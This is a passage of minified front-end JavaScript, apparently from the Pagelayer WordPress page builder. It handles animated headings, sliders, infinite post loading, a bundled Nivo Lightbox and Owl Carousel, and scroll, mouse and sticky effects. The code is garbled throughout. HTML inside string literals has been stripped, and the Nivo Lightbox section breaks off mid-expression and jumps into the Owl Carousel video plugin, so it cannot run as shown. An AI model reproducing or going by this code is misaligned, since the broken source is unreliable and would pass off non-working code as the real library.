hideWord($word); }, revealAnimationDelay); }); } } function hideLetter($letter, $word, $bool, $duration){ $letter.removeClass('pagelayer-aheading-in').addClass('pagelayer-aheading-out'); if(!$letter.is(':last-child')){ clearTimeout(pagelayerAnimTimer[id][4]); pagelayerAnimTimer[id][4] = setTimeout(function(){ hideLetter($letter.next(), $word, $bool, $duration); }, $duration); }else if($bool){ clearTimeout(pagelayerAnimTimer[id][5]); pagelayerAnimTimer[id][5] = setTimeout(function(){ hideWord(takeNext($word)); }, animationDelay); } if($letter.is(':last-child') && pagelayer_query('html').hasClass('pagelayer-no-csstransitions')){ var nextWord = takeNext($word); switchWord($word, nextWord); } } function showLetter($letter, $word, $bool, $duration){ $letter.addClass('pagelayer-aheading-in').removeClass('pagelayer-aheading-out'); if(!$word.hasClass('pagelayer-is-visible')){ $word.parent().children().removeClass('pagelayer-is-visible'); $word.addClass('pagelayer-is-visible'); } if(!$letter.is(':last-child')){ clearTimeout(pagelayerAnimTimer[id][6]); pagelayerAnimTimer[id][6] = setTimeout(function(){ showLetter($letter.next(), $word, $bool, $duration); }, $duration); }else{ if(!$bool) { clearTimeout(pagelayerAnimTimer[id][7]); pagelayerAnimTimer[id][7] = setTimeout(function(){ hideWord($word); }, animationDelay) } } } function takeNext($word){ return (!$word.is(':last-child')) ? $word.next() : $word.parent().children().eq(0); } function switchWord($oldWord, $newWord){ $oldWord.removeClass('pagelayer-is-visible').addClass('pagelayer-is-hidden'); if(!$newWord.hasClass('pagelayer-is-visible')){ $newWord.removeClass('pagelayer-is-hidden').addClass('pagelayer-is-visible'); } } } var pagelayerSetInterval = {}; function pagelayer_pl_row_slider(jEle){ var index = 0; var id = jEle.closest('[pagelayer-id]').attr('pagelayer-id'); var imageEls = jEle.find('.pagelayer-bgimg-slide'); // Get the images to be cycled. var speed = parseFloat(jEle.attr('data-speed')); // Get the speed of loop. imageEls.first().addClass('pagelayer-slide-show'); clearInterval(pagelayerSetInterval[id]); pagelayerSetInterval[id] = setInterval(function (){ // Get the next index. If at end, restart to the beginning. index = index + 1 < imageEls.length ? index + 1 : 0; // Show the next imageEls.eq(index).addClass('pagelayer-slide-show'); // Hide the previous imageEls.eq(index - 1).removeClass('pagelayer-slide-show'); }, speed); } function pagelayer_pl_social_profile(jEle){ var icon_holder = jEle.find('.pagelayer-icon-holder'); // Assigning animation classes to icon holder if(!pagelayer_empty(jEle.attr('pagelayer-animation'))){ icon_holder.addClass('pagelayer-animation-'+jEle.attr('pagelayer-animation')); } } // Post infinite scroll handler function pagelayer_infinite_posts(jEle) { var loader = jEle.find('.pagelayer-btn-load'); var autoScroll = jEle.find('.pagelayer-infinite-scroll-auto').length < 1; loader.on('click', function(){ var bEle = jQuery(this); var loaded = jEle.attr('pagelayer-post-data-loading'); // Is loading? if(!pagelayer_empty(loaded)){ return; } jEle.attr('pagelayer-post-data-loading', 1); var current = bEle.attr('data-current') || 1; var nextPage = parseInt(current) + 1; var load_btn = jEle.find('.pagelayer_load_button'); bEle.hide(); load_btn.find('.pagelayer-loader-holder').show(); if(jEle.find('.pagelayer-post-max').attr('data-max') <= 1) { load_btn.text(load_btn.data('text')); return; } // Get Data from local variable var data = window['pagelayer_local_scripts']['pagelayer_post_' + jEle.attr("pagelayer-id")]; // Add next page number to load if(!pagelayer_empty(data.atts)){ data.atts['paged'] = nextPage; } // Get the Posts jQuery.ajax({ url: pagelayer_ajaxurl + 'action=pagelayer_infinite_posts', type: 'POST', data: { pagelayer_nonce: pagelayer_global_nonce, data: data, }, success: function(result){ var json = jQuery.parseJSON(result); var content = jQuery(json['posts']).find('.pagelayer-posts-container').html(); jEle.find('.pagelayer-posts-container').append(content); load_btn.find('.pagelayer-loader-holder').hide(); if (jEle.find('.pagelayer-post-max').attr('data-max') == nextPage) { load_btn.text(load_btn.data('text')); }else if(autoScroll){ bEle.show(); } bEle.attr('data-current', nextPage); }, complete: function(){ jEle.removeAttr('pagelayer-post-data-loading'); } }); }); // If already scrolled if(pagelayer_isVisible(loader)){ loader.click(); } // Auto scroll? if(autoScroll){ return; } var win = jQuery(pagelayerGetCurrentWindow()); win.on('scroll.archive_posts', function(){ var current = parseInt(loader.attr('data-current')) || 1; var total = loader.attr('data-max'); if(win.scrollTop() + win.height() < jEle.height() || current >= total) { return; } loader.click(); }); } //////////////// // Freemium End //////////////// /* * Nivo Lightbox v1.3.1 * http://dev7studios.com/nivo-lightbox * * Copyright 2013, Dev7studios * Free to use and abuse under the MIT license. * http://www.opensource.org/licenses/mit-license.php */ !function(t,i,o,e){function n(i,o){this.el=i,this.$el=t(this.el),this.options=t.extend({},l,o),this._defaults=l,this._name=a,this.init()}var a="nivoLightbox",l={effect:"fade",theme:"default",keyboardNav:!0,clickImgToClose:!1,clickOverlayToClose:!0,onInit:function(){},beforeShowLightbox:function(){},afterShowLightbox:function(t){},beforeHideLightbox:function(){},afterHideLightbox:function(){},beforePrev:function(t){},onPrev:function(t){},beforeNext:function(t){},onNext:function(t){},errorMessage:"The requested content cannot be loaded. Please try again later."};n.prototype={init:function(){var i=this;t("html").hasClass("nivo-lightbox-notouch")||t("html").addClass("nivo-lightbox-notouch"),"ontouchstart"in o&&t("html").removeClass("nivo-lightbox-notouch"),this.$el.on("click",function(t){i.showLightbox(t)}),this.options.keyboardNav&&t("body").off("keyup").on("keyup",function(o){var e=o.keyCode?o.keyCode:o.which;27==e&&i.destructLightbox(),37==e&&t(".nivo-lightbox-prev").trigger("click"),39==e&&t(".nivo-lightbox-next").trigger("click")}),this.options.onInit.call(this)},showLightbox:function(i){var o=this,e=this.$el,n=this.checkContent(e);if(n){i.preventDefault(),this.options.beforeShowLightbox.call(this);var a=this.constructLightbox();if(a){var l=a.find(".nivo-lightbox-content");if(l){if(t("body").addClass("nivo-lightbox-body-effect-"+this.options.effect),this.processContent(l,e),this.$el.attr("data-lightbox-gallery")){var h=t('[data-lightbox-gallery="'+this.$el.attr("data-lightbox-gallery")+'"]');t(".nivo-lightbox-nav").show(),t(".nivo-lightbox-prev").off("click").on("click",function(i){i.preventDefault();var n=h.index(e);e=h.eq(n-1),t(e).length||(e=h.last()),t.when(o.options.beforePrev.call(this,[e])).done(function(){o.processContent(l,e),o.options.onPrev.call(this,[e])})}),t(".nivo-lightbox-next").off("click").on("click",function(i){i.preventDefault();var n=h.index(e);e=h.eq(n+1),t(e).length||(e=h.first()),t.when(o.options.beforeNext.call(this,[e])).done(function(){o.processContent(l,e),o.options.onNext.call(this,[e])})})}setTimeout(function(){a.addClass("nivo-lightbox-open"),o.options.afterShowLightbox.call(this,[a])},1)}}}},checkContent:function(t){var i=t.attr("href"),o=i.match(/(youtube|youtube-nocookie|youtu|vimeo)\.(com|be)\/(video\/(.)+|watch\?v=([\w-]+)|([\w-]+))/);return null!==i.match(/\.(jpeg|jpg|gif|png)$/i)||(!!o||("ajax"==t.attr("data-lightbox-type")||("#"==i.substring(0,1)&&"inline"==t.attr("data-lightbox-type")||"iframe"==t.attr("data-lightbox-type"))))},processContent:function(o,e){var n=this,a=e.attr("href"),l=a.match(/(youtube|youtube-nocookie|youtu|vimeo)\.(com|be)\/(video\/(.)+|watch\?v=([\w-]+)|([\w-]+))/);if(o.html("").addClass("nivo-lightbox-loading"),this.isHidpi()&&e.attr("data-lightbox-hidpi")&&(a=e.attr("data-lightbox-hidpi")),null!==a.match(/\.(jpeg|jpg|gif|png)$/i)){var h=t("",{src:a,class:"nivo-lightbox-image-display"});h.one("load",function(){var e=t('
');e.append(h),o.html(e).removeClass("nivo-lightbox-loading"),e.css({"line-height":t(".nivo-lightbox-content").height()+"px",height:t(".nivo-lightbox-content").height()+"px"}),t(i).resize(function(){e.css({"line-height":t(".nivo-lightbox-content").height()+"px",height:t(".nivo-lightbox-content").height()+"px"})})}).each(function(){this.complete&&t(this).load()}),h.error(function(){var i=t('

'+n.options.errorMessage+"

");o.html(i).removeClass("nivo-lightbox-loading")})}else if(l){var s="",r="nivo-lightbox-video";if("youtube"==l[1]&&(s="//www.youtube.com/embed/"+l[5],r="nivo-lightbox-youtube"),"youtube-nocookie"==l[1]&&(s=a,r="nivo-lightbox-youtube"),"youtu"==l[1]&&(s="//www.youtube.com/embed/"+l[3],r="nivo-lightbox-youtube"),"vimeo"==l[1]&&(s="//player.vimeo.com/video/"+(l[3].replace('video/','')),r="nivo-lightbox-vimeo"),s){var c=t("'),c.attr("height",h),c.attr("width",g),"youtube"===f.type?c.attr("src","//www.youtube.com/embed/"+f.id+"?autoplay=1&rel=0&v="+f.id):"vimeo"===f.type?c.attr("src","//player.vimeo.com/video/"+f.id+"?autoplay=1"):"vzaar"===f.type&&c.attr("src","//view.vzaar.com/"+f.id+"/player?autoplay=true"),a(c).wrap('
').insertAfter(e.find(".pagelayer-owl-video")),this._playing=e.addClass("pagelayer-owl-video-playing"))},e.prototype.isInFullScreen=function(){var b=c.fullscreenElement||c.mozFullScreenElement||c.webkitFullscreenElement;return b&&a(b).parent().hasClass("pagelayer-owl-video-frame")},e.prototype.destroy=function(){var a,b;this._core.$element.off("click.owl.video");for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.pagelayerOwlCarousel.Constructor.Plugins.Video=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this.core=b,this.core.options=a.extend({},e.Defaults,this.core.options),this.swapping=!0,this.previous=d,this.next=d,this.handlers={"change.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&(this.previous=this.core.current(),this.next=a.property.value)},this),"drag.owl.carousel dragged.owl.carousel translated.owl.carousel":a.proxy(function(a){a.namespace&&(this.swapping="translated"==a.type)},this),"translate.owl.carousel":a.proxy(function(a){a.namespace&&this.swapping&&(this.core.options.animateOut||this.core.options.animateIn)&&this.swap()},this)},this.core.$element.on(this.handlers)};e.Defaults={animateOut:!1, animateIn:!1},e.prototype.swap=function(){if(1===this.core.settings.items&&a.support.animation&&a.support.transition){this.core.speed(0);var b,c=a.proxy(this.clear,this),d=this.core.$stage.children().eq(this.previous),e=this.core.$stage.children().eq(this.next),f=this.core.settings.animateIn,g=this.core.settings.animateOut;this.core.current()!==this.previous&&(g&&(b=this.core.coordinates(this.previous)-this.core.coordinates(this.next),d.one(a.support.animation.end,c).css({left:b+"px"}).addClass("animated pagelayer-owl-animated-out").addClass(g)),f&&e.one(a.support.animation.end,c).addClass("animated pagelayer-owl-animated-in").addClass(f))}},e.prototype.clear=function(b){a(b.target).css({left:""}).removeClass("animated pagelayer-owl-animated-out pagelayer-owl-animated-in").removeClass(this.core.settings.animateIn).removeClass(this.core.settings.animateOut),this.core.onTransitionEnd()},e.prototype.destroy=function(){var a,b;for(a in this.handlers)this.core.$element.off(a,this.handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.pagelayerOwlCarousel.Constructor.Plugins.Animate=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){var e=function(b){this._core=b,this._call=null,this._time=0,this._timeout=0,this._paused=!0,this._handlers={"changed.owl.carousel":a.proxy(function(a){a.namespace&&"settings"===a.property.name?this._core.settings.autoplay?this.play():this.stop():a.namespace&&"position"===a.property.name&&this._paused&&(this._time=0)},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.autoplay&&this.play()},this),"play.owl.autoplay":a.proxy(function(a,b,c){a.namespace&&this.play(b,c)},this),"stop.owl.autoplay":a.proxy(function(a){a.namespace&&this.stop()},this),"mouseover.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"mouseleave.owl.autoplay":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.play()},this),"touchstart.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this._core.is("rotating")&&this.pause()},this),"touchend.owl.core":a.proxy(function(){this._core.settings.autoplayHoverPause&&this.play()},this)},this._core.$element.on(this._handlers),this._core.options=a.extend({},e.Defaults,this._core.options)};e.Defaults={autoplay:!1,autoplayTimeout:5e3,autoplayHoverPause:!1,autoplaySpeed:!1},e.prototype._next=function(d){this._call=b.setTimeout(a.proxy(this._next,this,d),this._timeout*(Math.round(this.read()/this._timeout)+1)-this.read()),this._core.is("interacting")||c.hidden||this._core.next(d||this._core.settings.autoplaySpeed)},e.prototype.read=function(){return(new Date).getTime()-this._time},e.prototype.play=function(c,d){var e;this._core.is("rotating")||this._core.enter("rotating"),c=c||this._core.settings.autoplayTimeout,e=Math.min(this._time%(this._timeout||c),c),this._paused?(this._time=this.read(),this._paused=!1):b.clearTimeout(this._call),this._time+=this.read()%c-e,this._timeout=c,this._call=b.setTimeout(a.proxy(this._next,this,d),c-e)},e.prototype.stop=function(){this._core.is("rotating")&&(this._time=0,this._paused=!0,b.clearTimeout(this._call),this._core.leave("rotating"))},e.prototype.pause=function(){this._core.is("rotating")&&!this._paused&&(this._time=this.read(),this._paused=!0,b.clearTimeout(this._call))},e.prototype.destroy=function(){var a,b;this.stop();for(a in this._handlers)this._core.$element.off(a,this._handlers[a]);for(b in Object.getOwnPropertyNames(this))"function"!=typeof this[b]&&(this[b]=null)},a.fn.pagelayerOwlCarousel.Constructor.Plugins.autoplay=e}(window.Zepto||window.jQuery,window,document),function(a,b,c,d){"use strict";var e=function(b){this._core=b,this._initialized=!1,this._pages=[],this._controls={},this._templates=[],this.$element=this._core.$element,this._overrides={next:this._core.next,prev:this._core.prev,to:this._core.to},this._handlers={"prepared.owl.carousel":a.proxy(function(b){b.namespace&&this._core.settings.dotsData&&this._templates.push('
'+a(b.content).find("[data-dot]").addBack("[data-dot]").attr("data-dot")+"
")},this),"added.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,0,this._templates.pop())},this),"remove.owl.carousel":a.proxy(function(a){a.namespace&&this._core.settings.dotsData&&this._templates.splice(a.position,1)},this),"changed.owl.carousel":a.proxy(function(a){a.namespace&&"position"==a.property.name&&this.draw()},this),"initialized.owl.carousel":a.proxy(function(a){a.namespace&&!this._initialized&&(this._core.trigger("initialize",null,"navigation"),this.initialize(),this.update(),this.draw(),this._initialized=!0,this._core.trigger("initialized",null,"navigation"))},this),"refreshed.owl.carousel":a.proxy(function(a){a.namespace&&this._initialized&&(this._core.trigger("refresh",null,"navigation"),this.update(),this.draw(),this._core.trigger("refreshed",null,"navigation"))},this)},this._core.options=a.extend({},e.Defaults,this._core.options),this.$element.on(this._handlers)};e.Defaults={nav:!1,navText:['',''],navSpeed:!1,navElement:'button type="button" role="presentation"',navContainer:!1,navContainerClass:"pagelayer-owl-nav",navClass:["pagelayer-owl-prev","pagelayer-owl-next"],slideBy:1,dotClass:"pagelayer-owl-dot",dotsClass:"pagelayer-owl-dots",dots:!0,dotsEach:!1,dotsData:!1,dotsSpeed:!1,dotsContainer:!1},e.prototype.initialize=function(){var b,c=this._core.settings;this._controls.$relative=(c.navContainer?a(c.navContainer):a("
").addClass(c.navContainerClass).appendTo(this.$element)).addClass("disabled"),this._controls.$previous=a("<"+c.navElement+">").addClass(c.navClass[0]).html(c.navText[0]).prependTo(this._controls.$relative).on("click",a.proxy(function(a){this.prev(c.navSpeed)},this)),this._controls.$next=a("<"+c.navElement+">").addClass(c.navClass[1]).html(c.navText[1]).appendTo(this._controls.$relative).on("click",a.proxy(function(a){this.next(c.navSpeed)},this)),c.dotsData||(this._templates=[a(''; arr.forEach(function(val){ if(val && val != 'all'){ html += ''; } }); // Append category buttons to holder jEle.find('.pagelayer-category-holder').empty().append(html); var setup = jEle.attr('pagelayer-setup'); // Already setup ? then distroy shuffle if(setup && setup.length > 0 && !pagelayer_empty(shuffleInstance[id])){ shuffleInstance[id].destroy(); } // Create an shuffle instance var Shuffle = window.Shuffle; var element = jEle.find('.pagelayer-img_portfolio-holder'); var sizer = jEle.find('.pagelayer-img_portfolio-holder'); shuffleInstance[id] = new Shuffle(element,{ itemSelector: '.pagelayer-img_portfolio-holder>div', //sizer: sizer // could also be a selector: '.my-sizer-element' }); // set click events on category buttons if(!window.location.href.includes('pagelayer-live=1')){ jEle.find('button').on("click", function(){ shuffleInstance[id].filter(jQuery(this).attr('data-pgl_pfbtn')); }); } // Set that we have setup everything jEle.attr('pagelayer-setup', 1); } // Reset Scrolling effects function pagelayer_reset_scrolling(jEle, parentEle){ if(jEle.length < 1){ return; } var style = jEle.get(0).style; style.setProperty("--transY", 0 +"px"); style.setProperty("--transX", 0 +"px"); style.setProperty("--rot", 0 +"deg"); jEle.css({"transform":"" , "opacity":"1" , "filter":"none"}); parentEle.off('scroll.'+jEle.attr('pagelayer-id')); } // Handle the scrolling effects function pagelayer_scrolling_effects(jEle, parentEle){ parentEle = parentEle || jQuery(pagelayerGetDocumentElement()); var win = pagelayerGetCurrentWindow(); pagelayer_reset_scrolling(jEle, parentEle); // Is this element to be scrolled on this Screen Size ? var screens = jEle.attr('ele_motion_effect_on'); if(pagelayer_empty(screens) || screens.search(pagelayer_get_media_mode()) == -1){ return; } var style = jEle.get(0).style; var totalProperty = ''; var documentHeight = parentEle.height(); var screenMiddle = documentHeight/2; var eMid = documentHeight/2;// By default motion_area-entire_page if(jEle.attr('motion_area') == 'viewport'){ jEle.css('top', '0px'); // For viewPort in Gutenberg if (parentEle.hasClass('interface-interface-skeleton__content')) { var scrollTopOfDiv = parentEle.scrollTop(); var offsetFromTopOfDiv = jEle.parent().offset().top - parentEle.offset().top + scrollTopOfDiv; eMid = offsetFromTopOfDiv + jEle.parent().height() / 2; }else{ eMid = jEle.parent().offset().top + jEle.parent().height() / 2; } screenMiddle = jQuery(win).height() / 2; } var screenHeightPercent = screenMiddle/100; // Vertical Scroll if(jEle.attr('ele_vertical_scroll')){ if(jEle.attr('motion_area')=='entire_page'){ jEle.offset({top:(documentHeight/2)}); } totalProperty += "translateY(var(--transY))"; var vertical_top = Math.ceil(jEle.attr('ele_v_sc_top_viewport')*(screenHeightPercent)); var vertical_bottom = -Math.ceil(jEle.attr('ele_v_sc_bottom_viewport')*(screenHeightPercent)); } // Horizontal scroll if(jEle.attr('ele_horizontal_scroll')){ totalProperty += "translateX(var(--transX))"; var screenWidthPercent = jQuery(win).width()/200; var horizontal_right = (Math.ceil(jEle.attr('ele_h_sc_right_viewport')*(screenWidthPercent))); var horizontal_left = -(Math.ceil(jEle.attr('ele_h_sc_left_viewport')*(screenWidthPercent))); } // Transparency if(jEle.attr('ele_transparency')){ var fadingLevel = 1-jEle.attr('ele_transp_level')/10; var transparency_top = Math.ceil(jEle.attr('ele_transp_top_viewport')*(screenHeightPercent)); var transparency_bottom = Math.ceil(jEle.attr('ele_transp_bottom_viewport')*(screenHeightPercent)); } // Blur if(jEle.attr('ele_blur')){ var blurringLevel = jEle.attr('ele_blur_level'); var blur_top = Math.ceil(jEle.attr('ele_blur_top_viewport')*(screenHeightPercent)); var blur_bottom = Math.ceil(jEle.attr('ele_blur_bottom_viewport')*(screenHeightPercent)); } // Rotate if(jEle.attr('ele_rotate')){ totalProperty += "rotate(var(--rot))"; var rotate_top = Math.ceil(jEle.attr('ele_rot_top_viewport')*(screenHeightPercent)); var rotate_bottom = -Math.ceil(jEle.attr('ele_rot_bottom_viewport')*(screenHeightPercent)); } // Scale if(jEle.attr('ele_scale')){ var childScale = jEle.children("div"); var scalingLevel = jEle.attr('ele_scl_level'); var scale_top = Math.ceil(jEle.attr('ele_scl_top_viewport')*(screenHeightPercent)); var scale_bottom = Math.ceil(jEle.attr('ele_scl_bottom_viewport')*(screenHeightPercent)); } if(totalProperty != ''){ jEle.css('transform', totalProperty); } // On Scroll calc and set parentEle.on('scroll.'+jEle.attr('pagelayer-id'), function(){ var vpMid = parentEle.scrollTop() + jQuery(win).height()/2; if(jEle.attr('ele_vertical_scroll')){ var preCalc = ((eMid-vpMid)/10)*(jEle.attr('ele_v_sc_speed')); if(jEle.attr('ele_v_sc_direction') == 'opposite'){ if(-preCalc<=vertical_top && -preCalc>vertical_bottom){ style.setProperty("--transY", preCalc +"px"); } }else if(jEle.attr('ele_v_sc_direction') == 'similar'){ if(preCalc<=vertical_top && preCalc>vertical_bottom){ style.setProperty("--transY", -preCalc +"px"); } } } if(jEle.attr('ele_horizontal_scroll')){ var preCalc = (eMid-vpMid)*(jEle.attr('ele_h_sc_speed')/2); if(jEle.attr('ele_h_sc_direction')=='toleft'){ if(preCalc<=horizontal_right && preCalc>horizontal_left) style.setProperty("--transX", preCalc +"px"); }else if(jEle.attr('ele_h_sc_direction')=='toright'){ if(-preCalc<=horizontal_right && -preCalc>horizontal_left) style.setProperty("--transX", -preCalc +"px"); } } if(jEle.attr('ele_transparency')){ var preCalc = (vpMid)-eMid; if(preCalc>(-transparency_bottom) && preCalc<=transparency_top){ var eMidB = eMid-transparency_bottom; var eMidT = eMid+transparency_top; var eMidTB = eMidT-eMidB; if(jEle.attr('ele_transp_type')=='fadein'){ var fadeIn = ((vpMid-eMidB)/eMidTB)+fadingLevel; jEle.css("opacity",fadeIn); }else if(jEle.attr('ele_transp_type')=='fadeout'){ var fadeOut = ((eMidT-vpMid)/eMidTB)+fadingLevel; jEle.css("opacity",fadeOut); }else if(jEle.attr('ele_transp_type')=='fadeinout'){ var fadeInOut1 = ((vpMid-eMidB)/(eMidTB/2))+fadingLevel; var fadeInOut2 = ((eMidT-vpMid)/(eMidTB/2))+fadingLevel; if(fadeInOut1<1+fadingLevel && fadeInOut1>0+fadingLevel){ jEle.css("opacity",fadeInOut1); }else if(fadeInOut2<1+fadingLevel && fadeInOut2>0+fadingLevel){ jEle.css("opacity",fadeInOut2); } }else if(jEle.attr('ele_transp_type')=='fadeoutin'){ var fadeOutIn1 = (((vpMid-eMidB)/(eMidTB/2)-1))+fadingLevel; var fadeOutIn2 = (((eMidT-vpMid)/(eMidTB/2)-1))+fadingLevel; if(fadeOutIn2<1+fadingLevel && fadeOutIn2>0+fadingLevel){ jEle.css("opacity",fadeOutIn2); }else if(fadeOutIn1<1+fadingLevel && fadeOutIn1>0+fadingLevel){ jEle.css("opacity",fadeOutIn1); } } } } if(jEle.attr('ele_blur')){ var preCalc = vpMid-eMid; if(preCalc>-(blur_bottom) && preCalc<=blur_top){ var eMidB = eMid-blur_bottom; var eMidT = eMid+blur_top; var eMidTB = eMidT-eMidB; if(jEle.attr('ele_blur_type')=='blurin'){ var blurIn = ((eMidT-vpMid)/eMidTB)*blurringLevel; jEle.css("filter","blur("+blurIn+"px)"); }else if(jEle.attr('ele_blur_type')=='blurout'){ var blurOut = ((vpMid-eMidB)/eMidTB)*blurringLevel; jEle.css("filter","blur("+blurOut+"px)"); }else if(jEle.attr('ele_blur_type')=='blurinout'){ var blurInOut1 = (vpMid-eMidB)/(eMidTB/2)*blurringLevel; var blurInOut2 = (eMidT-vpMid)/(eMidTB/2)*blurringLevel; if(blurInOut1<1*blurringLevel && blurInOut1>0.01*blurringLevel){ jEle.css("filter","blur("+blurInOut1+"px)"); }else if(blurInOut2<1*blurringLevel && blurInOut2>0.01*blurringLevel){ jEle.css("filter","blur("+blurInOut2+"px)"); } }else if(jEle.attr('ele_blur_type')=='bluroutin'){ var blurOutIn1 = ((vpMid-eMidB)/(eMidTB/2)-1)*blurringLevel; var blurOutIn2 = ((eMidT-vpMid)/(eMidTB/2)-1)*blurringLevel; if(blurOutIn2<1*blurringLevel && blurOutIn2>0.01*blurringLevel){ jEle.css("filter","blur("+blurOutIn2+"px)"); }else if(blurOutIn1<1*blurringLevel && blurOutIn1>0.01*blurringLevel){ jEle.css("filter","blur("+blurOutIn1+"px)"); } } } } if(jEle.attr('ele_rotate')){ var preCalc = ((vpMid-eMid)/2); var rotSpeed = jEle.attr('ele_rot_speed')/2; if(jEle.attr('ele_rot_direction')=='clockwise'){ if(preCalc<=rotate_top && preCalc>rotate_bottom){ style.setProperty("--rot", preCalc*rotSpeed +"deg"); } }else if(jEle.attr('ele_rot_direction')=='anticlockwise'){ if(preCalc<=rotate_top && preCalc>rotate_bottom){ style.setProperty("--rot", -preCalc*rotSpeed +"deg"); } } } if(jEle.attr('ele_scale')){ var preCalc = vpMid-eMid; if(preCalc>-(scale_bottom) && preCalc<=scale_top){ var eMidB = eMid-scale_bottom; var eMidT = eMid+scale_top; var eMidTB = eMidT-eMidB; if(jEle.attr('ele_scl_direction')=='scaleup'){ var scaleUp = ((vpMid-eMidB)/eMidTB)*scalingLevel+1; childScale.css("transform","scale("+ scaleUp +")"); }else if(jEle.attr('ele_scl_direction')=='scaledown'){ var scaleDown = ((eMidT-vpMid)/eMidTB)*scalingLevel+1; childScale.css("transform","scale("+ scaleDown +")"); }else if(jEle.attr('ele_scl_direction')=='scaleupdown'){ var scaleUpDown2 = (vpMid-eMidB)/(eMidTB/2)*scalingLevel+1; var scaleUpDown1 = (eMidT-vpMid)/(eMidTB/2)*scalingLevel+1; if(scaleUpDown1<1*scalingLevel && scaleUpDown1>0.1*scalingLevel){ childScale.css("transform","scale("+ scaleUpDown1 +")"); }else if(scaleUpDown2<1*scalingLevel && scaleUpDown2>0.1*scalingLevel){ childScale.css("transform","scale("+ scaleUpDown2 +")"); } }else if(jEle.attr('ele_scl_direction')=='scaledownup'){ var scaleDownUp1 = ((vpMid-eMidB)/(eMidTB/2)-1)*scalingLevel+1; var scaleDownUp2 = ((eMidT-vpMid)/(eMidTB/2)-1)*scalingLevel+1; if(scaleDownUp1<1*scalingLevel && scaleDownUp1>0.1*scalingLevel){ childScale.css("transform","scale("+ scaleDownUp1 +")"); }else if(scaleDownUp2<1*scalingLevel && scaleDownUp2>0.1*scalingLevel){ childScale.css("transform","scale("+ scaleDownUp2 +")"); } } } } }); }; function pagelayer_mouse_reset(jEle){ var win = pagelayerGetCurrentWindow(); jEle.css("transform", ""); var style = jEle.get(0).style; style.setProperty("--transY", 0 +"px"); style.setProperty("--transX", 0 +"px"); style.setProperty("--rotX", 0 +"deg"); style.setProperty("--rotY", 0 +"deg"); jQuery(win).off('mousemove.'+jEle.attr('pagelayer-id')); } // Mouse Effects setup function pagelayer_mouse_effects(jEle){ pagelayer_mouse_reset(jEle); var style = jEle.get(0).style; var mouseproperty = ''; var halfWidth = jEle.parent().offset().left+jEle.parent().width()/2; var halfHeight = jEle.parent().offset().top+jEle.parent().height()/2; if(jEle.attr('ele_m_track')){ mouseproperty += 'translateX(var(--transX)) translateY(var(--transY))'; var mouseLevel = jEle.attr('ele_m_tr_level'); } if(jEle.attr('ele_3d_tilt')){ mouseproperty += ' rotateX(var(--rotX)) rotateY(var(--rotY))'; jEle.parent().css("perspective", "1200px"); var tiltLevel = jEle.attr('ele_3d_tilt_level'); } if(mouseproperty != ''){ jEle.css("transform", mouseproperty); } var win = pagelayerGetCurrentWindow(); jQuery(win).bind('mousemove.'+jEle.attr('pagelayer-id'), function(event){ if(jEle.attr('ele_m_track')){ if(jEle.attr('ele_m_tr_direction') == 'opposite'){ var x =((event.pageX - halfWidth)*mouseLevel)/10; var y =((event.pageY - halfHeight)*mouseLevel)/10; style.setProperty("--transX",-x +"px"); style.setProperty("--transY",-y +"px"); //console.log(halfWidth +" "+ mouseLevel); }else if(jEle.attr('ele_m_tr_direction') == 'same'){ var x =((event.pageX - halfWidth)*mouseLevel)/10; var y = ((event.pageY-halfHeight)*mouseLevel)/10; style.setProperty("--transX",x +"px"); style.setProperty("--transY",y +"px"); } } if(jEle.attr('ele_3d_tilt')){ if(jEle.attr('ele_3d_tilt_direction')=='opposite'){ var x=((event.pageX - halfWidth)*tiltLevel)/100; var y=((event.pageY - halfHeight)*tiltLevel)/100; style.setProperty("--rotX", y +"deg"); style.setProperty("--rotY",-x + "deg"); }else if(jEle.attr('ele_3d_tilt_direction')=='same'){ var x=((event.pageX - halfWidth)*tiltLevel)/100; var y=((event.pageY - halfHeight)*tiltLevel)/100; style.setProperty("--rotX",-y + "deg"); style.setProperty("--rotY",x +"deg"); } } }); } // Element sticky handler function pagelayer_ele_sticky_handler(jEle, parentEle){ // Set element stickied if(jEle.attr('pagelayer-stickied-ele') == 1){ return; } parentEle = parentEle || jQuery(window); jEle.attr('pagelayer-stickied-ele', 1); var jEleTop = jEle.offset().top; var jEleW = jEle[0].clientWidth +'px'; var oldstyle = jEle.attr('style') || ''; var pagelayer_sticky = function(){ var position = jEle.attr('data-sticky-position') || ''; var offset = jEle.attr('data-sticky-offset') || 0; var sticky_in_col = jEle.attr('data-sticky_in_col') || ''; var sticky_on = jEle.attr('data-sticky-on') || ''; sticky_on = sticky_on.split(','); // If match the media var do_sticky = false; for(var x in sticky_on){ if(pagelayer_get_media_mode() == sticky_on[x]){ do_sticky = true; } } // If there is a wrapper var wrapper = jEle.parent('.pagelayer-ele-wrap'); if(wrapper.length > 0 ){ // Reset jEle jEle.next('.pagelayer-sticky-space-holder').remove(); jEle.attr('style', oldstyle); // Get wrapper old syle oldstyle = wrapper.attr('oldstyle') || ''; if(pagelayer_empty(oldstyle)){ oldstyle = wrapper.attr('style') || '1'; wrapper.attr('oldstyle', oldstyle); }else if(oldstyle == '1'){ oldstyle = ''; } }else{ wrapper = jEle; } var parentHeight = parentEle.height(); var parentScrollTop = parentEle.scrollTop(); var topToCheck = jEleTop - parentScrollTop; // Do fixed the element var pagelayer_fixed = function(){ var opp_position = (position == 'top') ? 'bottom' : 'top'; var fixed_css = {'position': 'fixed', 'width': jEleW, 'max-width': jEleW, [position] : offset +'px', [opp_position]: 'auto','z-index' : '99'} // For the sticky in columns if(!pagelayer_empty(sticky_in_col)){ //fixed_css['position'] = 'sticky'; var container = wrapper.parent(); var containerTop = container.offset().top; if((containerTop + container.height()) - parentScrollTop <= wrapper.outerHeight(true) + offset || containerTop - parentScrollTop >= 